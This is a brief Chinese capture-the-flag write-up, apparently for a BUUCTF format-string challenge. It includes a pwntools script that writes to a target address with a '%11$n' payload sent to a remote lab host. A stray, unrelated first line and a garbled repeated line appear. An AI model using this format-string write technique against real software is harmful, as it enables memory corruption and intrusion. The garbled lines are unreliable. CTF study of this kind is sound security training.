进入网站后台管理系统做境外旅游的网站

格式化字符串漏洞题

x等于4x等于4​​​​​​​x等于4​​​​​​​x等于4

可以知道是第11个参数，%11$ 定位到这个位置，然后%n往这个位置写入4

1.先用pwndbg调试得到偏移量
2.查看获取x的地址
3.构造ROP链，发送连接

from pwn import *# 连接到远程服务器
p = remote("node5.buuoj.cn", 26985)# 目标地址
addr = 0x0804A02C# 构造payload
# p32将地址转换为4字节小端格式
# b'%11$n'确保字符串是字节类型
payload = p32(addr) + b'%11$n'# 发送payload
p.sendline(payload)# 进入交互模式
p.interactive()